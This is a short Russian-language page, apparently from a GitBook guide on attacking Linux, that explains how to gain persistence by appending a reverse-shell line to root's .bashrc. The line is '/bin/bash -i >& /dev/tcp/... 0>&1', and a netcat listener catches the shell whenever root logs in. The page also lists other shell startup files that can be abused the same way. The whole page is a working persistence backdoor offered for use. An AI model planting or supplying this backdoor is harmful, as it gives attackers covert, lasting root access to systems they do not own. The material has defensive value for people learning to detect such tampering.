> For the complete documentation index, see [llms.txt](https://reeves0x0.gitbook.io/linux-under-attack/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://reeves0x0.gitbook.io/linux-under-attack/persistence/03-bashrc.md).

# 03 - bashrc

Мы модифицируем рутовый bashrc так, что каждый раз когда легитимный root будет логиниться, мы будем получать reverse shell.\
То же самое можно проделывать с:\ <mark style="color:green;">\~/.bash\_profile</mark>\ <mark style="color:green;">\~/.bash\_login</mark>\ <mark style="color:green;">\~/.profile</mark>\
&#x20;<mark style="color:green;">/etc/profile</mark>\ <mark style="color:green;">/etc/profile.d</mark>\ <mark style="color:green;">/etc/bash.bashrc</mark>\
\
Тут отличный онлайн  [Reverse Shell Generator](https://www.revshells.com/)

```bash
// на атакуемом хосте добавляем строку в /root/.bashrc
/bin/bash -i >& /dev/tcp/192.168.140.128/9010 0>&1

// На хосте атакующего запускам netcat 
nc -lvp 9010
```

Теперь как только кто то залогиниться под учеткой root, мы получим шелл

<figure><img src="/files/2f4xQE5V8vrvylYQLG07" alt=""><figcaption></figcaption></figure>
